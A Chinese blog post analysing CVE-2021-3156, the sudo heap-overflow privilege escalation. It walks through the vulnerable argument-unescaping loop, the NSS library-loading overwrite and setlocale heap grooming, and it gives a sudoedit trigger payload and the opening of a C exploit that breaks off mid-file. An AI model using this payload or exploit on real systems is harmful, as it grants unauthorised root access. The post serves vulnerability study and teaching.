[漏洞分析] CVE-2021-3156 sudo提权分析及exp调试修改

2023-11-22 11:40

本文主要是介绍[漏洞分析] CVE-2021-3156 sudo提权分析及exp调试修改,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2021-3156 sudo提权分析及exp调试修改

文章目录

  • CVE-2021-3156 sudo提权分析及exp调试修改
    • 漏洞简介
    • docker环境
    • 漏洞原理
    • 漏洞利用原理
      • nss 原理
      • 回到调试环境
      • 使用setlocale 进行堆布局
    • 漏洞利用实战
      • exp
      • 针对特定环境修改exp 的方法
    • 影响漏洞利用的因素
    • 一些调试命令

github地址: chenaotian/CVE-2021-3156

漏洞简介

漏洞编号: CVE-2021-3156

漏洞产品: sudo

影响版本: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

利用后果: 本地提权

源码获取: https://www.sudo.ws/getting/source/

docker环境

docker 环境: chenaotian/cve-2021-3156

我自己搭建的docker,提供了:

  1. 自己编译的可源码调式的sudo
  2. 有调试符号的glibc
  3. gdb 和gdb插件pwngdb & pwndbg
  4. exp.c 及其编译成功的exp

所有东西都在/root 目录中:
image-20220124223312224

  • exp 目录就是exp代码和编译好的所在的目录,可以直接在该docker 里跑
  • glibc-2.27 就是这个环境中libc 版本的源码目录
  • sudo-1.8.21 就是这个环境中sudo 的源码目录,我就是用这个编译的。

启动docker:

docker run -d -ti --rm -h sudodebug --name sudodebug --cap-add=SYS_PTRACE chenaotian/cve-2021-3156:latest /bin/bash

测试exp:

cd exp
su test
./exp
whoami

调试相关的内容见后文一些调试命令

漏洞原理

漏洞触发payload

sudoedit -s '\' `python3 -c "print('A'*80)"`

源码分析(sudo-1.8.21):
首先是sudo.c 中的main 函数(sudo.c: 133):

int
main(int argc, char *argv[], char *envp[])
{int nargc, ok, status = 0;char **nargv, **env_add;char **user_info, **command_info, **argv_out, **user_env_out;struct sudo_settings *settings;struct plugin_container *plugin, *next;sigset_t mask;debug_decl_vars(main, SUDO_DEBUG_MAIN)··· ······ ···/* Parse command line arguments. *///在这里处理输入参数,设置sudo_modesudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);··· ······ ···switch (sudo_mode & MODE_MASK) {··· ······ ···case MODE_EDIT:case MODE_RUN:ok = policy_check(&policy_plugin, nargc, nargv, env_add,&command_info, &argv_out, &user_env_out);··· ······ ···}··· ······ ···
}
  • 首先调用parse_args 函数处理我们输入的参数,其实这里我们就输入了一个-s 而已,没什么可设置的,将sudo_mode 设置成 MODE_EDIT 和 MODE_SHELL。

  • 然后根据sudo_mode 不同,MODE_EDIT 回调用policy_check

接下来是在sudo.c 中的policy_check函数(sudo.c: 1136):

static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],char *env_add[], char **command_info[], char **argv_out[],char **user_env_out[])
{··· ······ ···ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,argv_out, user_env_out);···
}

调用了回调函数plugin->u.policy->check_policy ,可以调试查看这个函数的真实函数:

image-20220123113326096

调用的是policy.c 中的 sudoers_policy_check 函数(policy.c: 760):

static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],char **command_infop[], char **argv_out[], char **user_env_out[])
{··· ···exec_args.argv = argv_out;exec_args.envp = user_env_out;exec_args.info = command_infop;ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);··· ······ ···
}

然后调用了sudoers.c 中的sudoers_policy_main 函数(sudoers.c: 224):

int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],void *closure)
{··· ······ ···/** Make a local copy of argc/argv, with special handling* for pseudo-commands and the '-i' option.*/if (argc == 0) {··· ···} else {/* Must leave an extra slot before NewArgv for bash's --login */NewArgc = argc;NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));··· ···}memcpy(++NewArgv, argv, argc * sizeof(char *));NewArgv[NewArgc] = NULL;··· ···}}··· ···cmnd_status = set_cmnd();··· ······ ······ ···
}

这里设置了一些全局变量,NewArgc 和 NewArgv 如下,其实就是传入参数。

image-20220123113819116

之后进入sudoers.c 中 set_cmnd 函数(sudoers.c: 796):

static int
set_cmnd(void)
{··· ······ ···/* set user_args */if (NewArgc > 1) {char *to, *from, **av;size_t size, n;/* Alloc and build up user_args. *///根据参数总长度计算size, 后续malloc 申请,没有问题for (size = 0, av = NewArgv + 1; *av; av++)size += strlen(*av) + 1;if (size == 0 || (user_args = malloc(size)) == NULL) {sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));debug_return_int(-1);}if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {/** When running a command via a shell, the sudo front-end* escapes potential meta chars.  We unescape non-spaces* for sudoers matching and logging purposes.*///将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符//但这里\x00 并不算空格类型字符//他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况for (to = user_args, av = NewArgv + 1; (from = *av); av++) {while (*from) {if (from[0] == '\\' && !isspace((unsigned char)from[1]))from++;*to++ = *from++;}*to++ = ' ';}*--to = '\0';} ··· ···}}··· ······ ···
}

溢出也发生在这里,根据代码中的注释可以看出,堆溢出发生在向堆中拷贝时,这段代码的原意不难理解就是将NewArgv中的所有参数都拷贝到堆中,空格分割,遇到\+非空格类字符 则只拷贝该字符。

但它没有考虑到一种情况就是,某个NewArgv元素是以\ 结尾,那么就是\+\x00 这种结构,而\x00 是不属于空格类字符的(离谱),也就是说,它会将\x00 拷贝到堆中之后,from 变量再 ++ (一个循环中加了两次)直接过了while 判断结束标记\x00 的机会,而认为参数没有拷贝完而继续向后拷贝,直到遇到下一个\x00 为止。

在该场景下可以看到 \+\x00 后面紧跟着就是下一个参数 A*80 所以会继续拷贝到A*80 的结尾。但别忘了接下来还会继续真正处理A*80 这个参数,还会再拷贝一遍,所以这里总共对A*80 进行了两次拷贝,但chunk 的申请时按照只有一个 A*80 字符串的大小申请的,远远超过了chunk 申请的长度。

image-20220123113907744

然后造成溢出,拷贝前:

image-20220123114036691

拷贝后:

image-20220123114137794

总体漏洞触发路径为(调试的时候直接根据这几个函数下断点即可):

  • sudo.c : main
    • sudo.c : policy_check
      • policy.c : sudoerrs_policy_check
        • sudoers.c : sudoers_policy_main
          • sudoers.c : set_cmnd
            • sudoers.c : 859

漏洞利用原理

参考了 blasty/CVE-2021-3156 ,但他的堆布局方式可遇不可求,这里详细分析了堆布局方法。通过传入环境变量 LC_* 来布局堆,然后让溢出的chunk 正好覆盖到 nss_load_library 函数需要加载so 的结构体 service_user,覆盖该结构体中的so 名字符串,然后让程序加载我们指定的so来完成任意代码执行。

虽然逻辑看起来挺清晰,但需要搞定的细节还是比较麻烦的:

  1. nss_load_library 中相关数据结构和机制
  2. setlocale 如何通过环境变量LC_* 进行堆布局

接下来我们将漏洞发生出可以溢出的chunk 称之为vuln chunk,而将溢出的目标称为target chunk

nss 原理

首先查看漏洞利用关键代码:

glibc/nss/nsswitch.c: 377 nss_load_library()

static int
nss_load_library (service_user *ni)
{if (ni->library == NULL){static name_database default_table;ni->library = nss_new_service (service_table ?: &default_table,ni->name);if (ni->library == NULL)return -1;}if (ni->library->lib_handle == NULL){··· ···__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,"libnss_"),ni->name),".so"),__nss_shlib_revision);ni->library->lib_handle = __libc_dlopen (shlib_name);··· ······ ···}
}

ni为堆上的service_user 结构体,当 ni->library->lib_handle 为NULL 时,就会调用__libc_dlopen 进行 so 装载。如果我们可以溢出到ni所在堆块,那么只需要将library 覆盖为0 即可,因为在第一个分支如果library 为NULL ,代表没有初始化,会调用 nss_new_service 对library 初始化,刚初始化的 handle 必然为NULL。

ok,知道了漏洞利用的关键触发点之后,接下来了解一下nss 这东西的机制。

首先/etc/目录下有一个文件/etc/nsswitch.conf(一般情况长这样,不是所有设备中都一样的):

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.passwd:         compat systemd
group:          compat systemd
shadow:         compat
gshadow:        fileshosts:          files dns
networks:       filesprotocols:      db files
services:       db files
ethers:         db files
rpc:            db filesnetgroup:       nis

这是一个配置文件,通过这里记录的这些途径和顺序(其实就是用哪些so)来查找方法。还可以指定某个方法奏效时或失效时系统将采取什么动作。

我理解的就是,规定程序需要从哪里检索所需信息,比如用户信息、网络、地址信息等。程序中的体现就是,是从某个不同的so 中调用该函数。不同so 中的该函数实现就是检索该信息的方法。

接下来看三个结构体:

typedef struct service_user
{/* And the link to the next entry.  */struct service_user *next;/* Action according to result.  */lookup_actions actions[5];/* Link to the underlying library object.  */service_library *library;/* Collection of known functions.  */void *known;/* Name of the service (`files', `dns', `nis', ...).  */char name[0];
} service_user;typedef struct name_database_entry
{/* And the link to the next entry.  */struct name_database_entry *next;/* List of service to be used.  */service_user *service;/* Name of the database.  */char name[0];
} name_database_entry;typedef struct name_database
{/* List of all known databases.  */name_database_entry *entry;/* List of libraries with service implementation.  */service_library *library;
} name_database;

有一个全局入口 static name_database *service_table; 然后在 __nss_database_lookup 函数中,如果全局入口 service_table 为空,则会调用 nss_parse_file 进行初始化,相关代码如下:

glibc/nss/nsswitch.c : 117

int
__nss_database_lookup (const char *database, const char *alternate_name,const char *defconfig, service_user **ni)
{··· ···/* Are we initialized yet?  */if (service_table == NULL)/* Read config file.  */service_table = nss_parse_file (_PATH_NSSWITCH_CONF);··· ···
}

glibc/nss/nsswitch.c : 541

static name_database *
nss_parse_file (const char *fname)
{FILE *fp;name_database *result;name_database_entry *last;··· ···//打开/etc/nsswitch.conffp = fopen (fname, "rce");··· ···result = (name_database *) malloc (sizeof (name_database));··· ···do{name_database_entry *this;ssize_t n;n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk··· ···this = nss_getline (line);if (this != NULL){if (last != NULL)last->next = this;elseresult->entry = this;last = this;}}while (!feof_unlocked (fp));/* Free the buffer.  */free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。/* Close configuration file.  */fclose (fp);return result;
}

原理即第一次搜索的时候发现全局入口service_table 为空,则进行初始化,根据 /etc/nsswitch.conf 文件记录内容进行初始化,最后的数据结构如下所示:

image-20220123134155631

这里所有数据结构都在同一个函数中一次申请完成,按照我图中的顺序申请,所以通常状态下,这些chunk 都是连着的。并且他们的分配都在 vuln chunk 之前。(调试断点 nss_parrse_file)

除此之外,值得注意的是,在 nss_parse_file 函数中有一个 __getline 函数,该函数会根据读入内容的长度申请一个chunk,并且这个chunk 会在最后 nss_parse_file 函数返回时被释放。由于/etc/nsswitch.conf 里面内容格式基本最长的一行就是注释了,而且我们不可控该文件,所以这里可以认为每次 __getline 函数中申请的chunk 长度是一样的,固定为0x80大小。

所以我们可以将它理解为,这是一个在service 链表之前申请的,并且service链表结构申请完毕就会被释放的,而且在vuln chunk 申请之前还能一直保持free 状态的一个非常宝贵的chunk。暂时记住这个小细节**(我测试了很多环境,大部分环境可以用到这个细节)**。

那么什么时候会触发 nss_load_library 函数呢,可以调试的时候看看调用栈:

image-20220123114256387

根据调用栈,当需要调用查找主机或用户信息的一些函数的时候,会调用一些搜索函数寻找对应的so中的对应函数来进行调用,一句就是由/etc/nsswitch.conf 生成的service_table 数据结构。代码如下:

glibc/nss/XXX-lookup.c :

int
DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name,void **fctp)
{//先搜索对应的服务if (DATABASE_NAME_SYMBOL == NULL&& __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING,DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0)return -1;*ni = DATABASE_NAME_SYMBOL;
//再搜索对应soreturn __nss_lookup (ni, fct_name, fct2_name, fctp);
}
libc_hidden_def (DB_LOOKUP_FCT)

先调用__nss_database_lookup 根据传入的 DATABASE_NAME_STRING (内容为passwd、group、shadow等) 找到对应的service:即检索下图中的红色区域找到匹配的,返回service指针。如果第一次搜索,入口都为空,则会初始化(上文提到过)。

image-20220123133933696

接下来调用__nss_lookup 循坏调用 __nss_lookup_function 根据servide 链表搜索对应函数所在service,然后回调用nss_load_library ,获取so 句柄,然后搜索对应函数,代码如下:

glibc/nss/nsswitch.c : 194

int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,void **fctp)
{*fctp = __nss_lookup_function (*ni, fct_name);··· ···while (*fctp == NULL&& nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE&& (*ni)->next != NULL){*ni = (*ni)->next;*fctp = __nss_lookup_function (*ni, fct_name);··· ···}return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

glibc/nss/nsswitch.c : 410

void *
__nss_lookup_function (service_user *ni, const char *fct_name)
{··· ···found = __tsearch (&fct_name, &ni->known, &known_compare);··· ···//没有搜到的一些操作省略else{known_function *known = malloc (sizeof *known);··· ···else{//调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen//具体nss_load_library 代码见上面··· ···if (nss_load_library (ni) != 0)/* This only happens when out of memory.  */goto remove_from_tree;if (ni->library->lib_handle == (void *) -1l)/* Library not found => function not found.  */result = NULL;else{··· ···/* Construct the function name.  */__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),ni->name),"_"),fct_name);/* Look up the symbol.  */result = __libc_dlsym (ni->library->lib_handle, name);}··· ······ ···}···return result;
}
libc_hidden_def (__nss_lookup_function)

可以看出,只要调用了 libnss_xxx.so 之中的函数,就必会调用到 nss_load_library ,即便该so 已经装载过了。所以,根据已知exp 的思路,只需要知道堆溢出发生之后,第一个被调用的libnss相关的函数属于哪个so,然后通过堆布局将该so 所属的service_user 结构体布局到 vuln chunk 后面即可。但根据我再多个环境中的测试发现,即便是相同版本,自己编译的和发行版,代码的结构都不太一样,这里使用我自己的调试环境重新分析编写一份exp。

回到调试环境

我自己搭建的这个调试环境(docker)就是自己编译的sudo,有调试符号,具体信息如下:

ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

/etc/nsswitch.conf 内容如下:

image-20220115142452318

还是和普通的有很大不同的,所以直接跑别人的exp肯定是跑不通的。而且除此之外,经过调试,我的环境中,堆溢出之后,第一个调用的nss函数是setspent 属于shadow 中的函数,也就是 database_entrry3service_user 即target chunk 是7号chunk,我们希望vuln chunk 出现在7 号chunk 之前,且其他编号chunk 不在他们两个之间(即溢出时不破坏service_table 结构体的其他chunk)。

image-20220123134335546

接下来,不可避免的我们要研究一下如何一次操作提权布局堆,已知使用环境变量LC_ALLsetlocale 函数中完成的堆布局,经过分析,setlocale 中有非常多的堆申请和释放操作,所以这里我们重点关注我们可操作的部分。

使用setlocale 进行堆布局

无意中在公司内博客发现了同事的分析博客,帮助很大,外面访问不到就不贴了。

setlocale 的堆机制,关键就一句话,按照自己想要释放的chunk 顺序去输入该长度的环境变量即可,能保证释放顺序和前后关系,但这些chunk 并不前后紧密相连。

先看setlocale 源码:

glibc/locale/setlocale.c : 218

char *
setlocale (int category, const char *locale)
{char *locale_path;size_t locale_path_len;const char *locpath_var;char *composite;··· ···locale_path = NULL;locale_path_len = 0;··· ···if (category == LC_ALL){··· ······ ···/* Load the new data for each category.  */    while (category-- > 0)if (category != LC_ALL){//关键处理函数 _nl_find_localenewdata[category] = _nl_find_locale (locale_path, locale_path_len,category,&newnames[category]);if (newdata[category] == NULL){//返回null 则会跳出循环···break;}··· ···/* Make a copy of locale name.  */if (newnames[category] != _nl_C_name){if (strcmp (newnames[category],_nl_global_locale.__names[category]) == 0)newnames[category] = _nl_global_locale.__names[category];else{//这个strdup 很关键newnames[category] = __strdup (newnames[category]);if (newnames[category] == NULL)break;}}}/* Create new composite name.  */composite = (category >= 0? NULL : new_composite_name (LC_ALL, newnames));if (composite != NULL){··· ···}elsefor (++category; category < __LC_LAST; ++category)//校验if (category != LC_ALL && newnames[category] != _nl_C_name&& newnames[category] != _nl_global_locale.__names[category])//这个free 很关键,这里是一处循环free,可以集中free 一堆chunkfree ((char *) newnames[category]);/* Critical section left.  */__libc_rwlock_unlock (__libc_setlocale_lock);/* Free the resources.  */free (locale_path);free (locale_copy);return composite;}··· ······ ···}
libc_hidden_def (setlocale)

setlocale 函数是关于一些语言环境乱七八糟有关的,相关环境变量参数有以下几种:

#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

根据传入参数 category 的值来去环境变量中寻找对应的参数采取行动。在sudo 中使用的是 setlocale(LC_ALL,""); 当传入参数是LC_ALL 时,会从 LC_IDENTIFICATION 开始向前遍历所有的变量。对于每一个调用 _nl_find_locale 函数,这个函数里面比较复杂,但返回的 newnames[category] 其实就是对应环境变量的值,会在接下来调用strdup 函数将该字符串拷贝到堆上。由于传入的是LC_ALL ,那么会生成一个对应的字符串数组,接下来会和全局变量默认值进行一次校验,如果校验失败,那么就会将其释放(很容易构造出失败的输入)。

换言之,我们可以通过操作在这里进行x次strdup 的堆申请与x 次的free 刚申请的chunk。看起来比较简单,但事实并不如此,因为在之前 _nl_find_locale 函数中有非常多的堆申请与释放操作。这里strdup 申请到的chunk 基本都是在 _nl_find_locale 函数中释放的chunk,虽然堆漏洞利用来讲后面继续分析已经不太重要了,但如果想要精准布局堆,或是换了新环境比较苛刻,还是有必要分析一下 _nl_find_locale 的:

glibc/locale/findlocale.c : 101

struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,int category, const char **name)
{int mask;/* Name of the locale for this category.  */const char *cloc_name = *name;const char *language;const char *modifier;const char *territory;const char *codeset;const char *normalized_codeset;struct loaded_l10nfile *locale_file;if (cloc_name[0] == '\0'){/* The user decides which locale to use by setting environmentvariables.  */cloc_name = getenv ("LC_ALL");if (!name_present (cloc_name))cloc_name = getenv (_nl_category_names.str+ _nl_category_name_idxs[category]);if (!name_present (cloc_name))cloc_name = getenv ("LANG");if (!name_present (cloc_name))cloc_name = _nl_C_name;}··· ······ ···/* language[_territory[.codeset]][@modifier]根据环境变量的值来进行mask 设置,关键字为'_','.','@' 设置4个标志位(mask)_ 代表国家,会设置一个标志位. 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位@ 代表用户添加的后缀,也就是自定义内容,设置一个标志位*/mask = _nl_explode_name (loc_name, &language, &modifier, &territory,&codeset, &normalized_codeset);if (mask == -1)/* Memory allocate problem.  */return NULL;/* If exactly this locale was already asked for we have an entry withthe complete name.  *///这次is_allocate 位为0会直接返回0locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],locale_path, locale_path_len, mask,language, territory, codeset,normalized_codeset, modifier,_nl_category_names.str+ _nl_category_name_idxs[category], 0);if (locale_file == NULL){/* Find status record for addressed locale file.  We have to searchthrough all directories in the locale path.  *///_nl_make_l10nflist 之中会进行非常多的堆操作locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],locale_path, locale_path_len, mask,language, territory, codeset,normalized_codeset, modifier,_nl_category_names.str+ _nl_category_name_idxs[category], 1);if (locale_file == NULL)/* This means we are out of core.  */return NULL;}··· ···if (locale_file->data == NULL){int cnt;for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt){//从返回的链表之中找到success 成功的结构体返回if (locale_file->successor[cnt]->decided == 0)_nl_load_locale (locale_file->successor[cnt], category);if (locale_file->successor[cnt]->data != NULL)break;}/* Move the entry we found (or NULL) to the first place ofsuccessors.  */locale_file->successor[0] = locale_file->successor[cnt];locale_file = locale_file->successor[cnt];if (locale_file == NULL)return NULL;}··· ······ ···return (struct __locale_data *) locale_file->data;
}

_nl_find_locale 函数中,会首先调用 _nl_explode_name 函数根据环境变量的值堆mask 进行赋值(就如同我在代码中的注释中说的),主要看有没有国家、语言、用户自定义后缀这三项,如果有就会设置对应的maks,其中语言会设置两个,总共四个。然后调用_nl_make_l0nflist 函数会直接导致 _nl_find_locale 返回空,触发上面的 setlocale 之中的循环break (很重要)。

接下来看一下_nl_make_l0nflist 函数:

glibc/intl/l0nflist.c : 150

struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,const char *dirlist, size_t dirlist_len,int mask, const char *language, const char *territory,const char *codeset, const char *normalized_codeset,const char *modifier,const char *filename, int do_allocate)
{char *abs_filename;struct loaded_l10nfile *last = NULL;struct loaded_l10nfile *retval;char *cp;size_t entries;int cnt;/* Allocate room for the full file name.  *///根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunkabs_filename = (char *) malloc (dirlist_len+ strlen (language)+ ((mask & XPG_TERRITORY) != 0? strlen (territory) + 1 : 0)+ ((mask & XPG_CODESET) != 0? strlen (codeset) + 1 : 0)+ ((mask & XPG_NORM_CODESET) != 0? strlen (normalized_codeset) + 1 : 0)+ ((mask & XPG_MODIFIER) != 0? strlen (modifier) + 1 : 0)+ 1 + strlen (filename) + 1);if (abs_filename == NULL)return NULL;retval = NULL;last = NULL;/* Construct file name.  *///根据文件名,也就是mask决定的内容进行拼接文件名memcpy (abs_filename, dirlist, dirlist_len);__argz_stringify (abs_filename, dirlist_len, ':');cp = abs_filename + (dirlist_len - 1);*cp++ = '/';cp = stpcpy (cp, language);if ((mask & XPG_TERRITORY) != 0){*cp++ = '_';cp = stpcpy (cp, territory);}if ((mask & XPG_CODESET) != 0){*cp++ = '.';cp = stpcpy (cp, codeset);}if ((mask & XPG_NORM_CODESET) != 0){*cp++ = '.';cp = stpcpy (cp, normalized_codeset);}if ((mask & XPG_MODIFIER) != 0){*cp++ = '@';cp = stpcpy (cp, modifier);}*cp++ = '/';stpcpy (cp, filename);··· ···//如果已经已经存在同名文件,则释放刚申请的chunkif (retval != NULL || do_allocate == 0){free (abs_filename);return retval;}retval = (struct loaded_l10nfile *)malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)* (1 << pop (mask))* sizeof (struct loaded_l10nfile *)));if (retval == NULL){free (abs_filename);return NULL;}retval->filename = abs_filename;/* If more than one directory is in the list this is a pseudo-entrywhich just references others.  We do not try to load data for it,ever.  */retval->decided = (__argz_count (dirlist, dirlist_len) != 1|| ((mask & XPG_CODESET) != 0&& (mask & XPG_NORM_CODESET) != 0));retval->data = NULL;if (last == NULL){retval->next = *l10nfile_list;*l10nfile_list = retval;}else{retval->next = last->next;last->next = retval;}entries = 0;/* If the DIRLIST is a real list the RETVAL entry corresponds not toa real file.  So we have to use the DIRLIST separation mechanismof the inner loop.  *///这里会进行递归的搜索,根据mask 来讲所有的组合全部找到//每次mask 值会-1,这样遍历所有mask可能cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;for (; cnt >= 0; --cnt)if ((cnt & ~mask) == 0){/* Iterate over all elements of the DIRLIST.  */char *dir = NULL;while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))!= NULL)retval->successor[entries++]= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,language, territory, codeset,normalized_codeset, modifier, filename, 1);}retval->successor[entries] = NULL;return retval;
}

比较关键的两个传入参数是do_allocatemaskdo_allocate 表示是否会主动分配新的内存,如果为0,则直接在现有链表中搜索,一般现有链表都为空,就直接返回了。如果do_allocate 不为0 则会扩展链表。

在一次调用 _nl_make_l10nflist 函数中会申请1-2个chunk ,大小皆不固定,第一个chunk根据mask 组合出的文件名的长度来申请,如果该文件名没重复,则会申请第二个chunk,是一个管理文件名的变长结构体,具体用途不大,而且我们不可控,这里忽略。

mask 一共有四位,通过这四个标志位来决定本次操作的文件名,四个标志位代表是否存在中括号中的内容:

dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename

其中dir(/usr/lib/locale)、language©、filename(环境变量名)都是固定的,钟括号中的内容根据mask 值可选生成。如:

LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

那么:

[_territory]=NULL #我们没有传入_打头的字符串
[.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8
[.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成
[@modifier]=@AAAAAAAAAAA #我们自定义的后缀

根据不同的mask 可能会生成:

1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

由于我们输入的内容本来就不包含国家信息,即[_territory] 字段本就为空,那么不管该mask是否为1 都不会有这一字段,这也就造成了不同的mask 最后组成了相同的文件名,也就解释了为什么上面会有遇到相同文件名则释放并返回的操作了。

全部堆分配的原理解析到这里就差不多了,根据实际情况可以具体理解并布局。在我的调试环境里关键只需要知道,**根据输入的环境变量的值进行strdup 操作,最后会将strdup 生成的多个chunk 一口气free 掉。这个操作就是关键所在。**如果遇到更麻烦的环境,就可能要用到根据mask 控制释放的堆块的大小和数量的操作了。

漏洞利用实战

回到我的调试环境中:

image-20220123134419470

我希望将vuln chunk放在target chunk 也就是7号chunk 之前,而不能破坏123456任意一个chunk

那么堆布局的思路就是:

  1. 由于1246chunk 都是0x20大小的chunk,0x20的chunk 在程序运行中有很多申请操作,会很快消耗掉0x20的tcache,也就是说到 nss_ parse_file 函数运行的时候,基本已经没有0x20的tcache 了,再申请只能在topchunk 或small/large/unsorted bin中切割。所以不用关注。

  2. 我们终点关注将3 5号 chunk 和7号chunk之间如何插入一个大小特别的0xX0 的chunk(不会在vuln chunk申请之前呗消耗掉)。大致如图:

    image-20220123134611280
  3. 由于整个堆布局过程中参与的chunk 都是setlocale 申请的内存,而setlocale 中的这些东西基本没用,就算覆盖也不会引起崩溃,所以我们的vuln chunk 和target chunk 之间就算不是紧密相连也无妨

  4. 所以最终我们的思路就是在setlocale申请两个0x40 大小的chunk,再申请一个0xa0大小的chunk(即上面提到的0xX0的chuank),再申请一个0x40的chunk,这样会按照相反的顺序释放,然后再nss_parse_file 函数中会按照相同的顺序申请,并且,在nss_parse_file 函数中 getline 会申请0x80 的chunk 将我们预留的 0xa0 chunk “保护” 起来

接下来就是计算被移除的chunk 和溢出chunk之间的距离:

image-20220123114452223

0x5576b5ac7000-0x5576b5ac69b0=0x650

可以将输入参数总共0xa0 分成两个部分 x 个\\ (每个是一个独立字符串,占两个字节) 和一个'a' * y (y个字符a是一个字符串,占y+1字节),2x+y = 0xa0-0x10 (这里0xa0-0x10是因为我们的vuln chunk是0xa0大小,但实际申请需要小0x10),最后的命令形如 :

sudoedit -s \\ \\ \\ ...(x个)... \\ "aaaa...(y个)...aaa"

计算x, y使:

(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

第一个等式的原理就是,由于输入有多个 \\ 所以每次拷贝都会溢出,每次溢出会比上次少1字节,所以等差数列相加。化简得到:

(x+y)+(x+2y+1)·x/2=0x650
2x+y = 0x90

我这边解得:

x=11
y=121

最后通过sudoedit 参数可以溢出的长度是0x5f9,剩下的部分用环境变量中的 \\ 补齐即可。环境变量只会拷贝一次。最后覆盖结构体的时候注意,so名字符串在结构体偏移0x30的位置,字符串前的结构体元素都要覆盖成 \x00 。(这一部分就不细说了,如何构造合适的溢出长度payload也没啥太大技术含量,我这里主要是给一种通用的快速计算方式)

然后把伪造的so 库编译好,这里直接用attribute宏编译的函数会在二进制文件被加载的时候自动执行,也就是构造函数。exp如下:

exp

在我的调试环境中exp 如下:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE
PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};int now=13;
int envnow=0;
int argvnow=0;
char * envp[0x300];
char * argv[0x300];
char * addChunk(int size)
{now --;char * result;if(now ==6){now --;}if(now>=0){result=malloc(size+0x20);strcpy(result,envName[now]);strcat(result,"=C.UTF-8@");for(int i=9;i<=size-0x17;i++)strcat(result,"A");envp[envnow++]=result;}return result;
}void final()
{now --;char * result;if(now ==6){now --;}if(now>=0){result=malloc(0x100);strcpy(result,envName[now]);strcat(result,"=xxxxxxxxxxxxxxxxxxxxx");envp[envnow++]=result;}
}int setargv(int size,int offset)
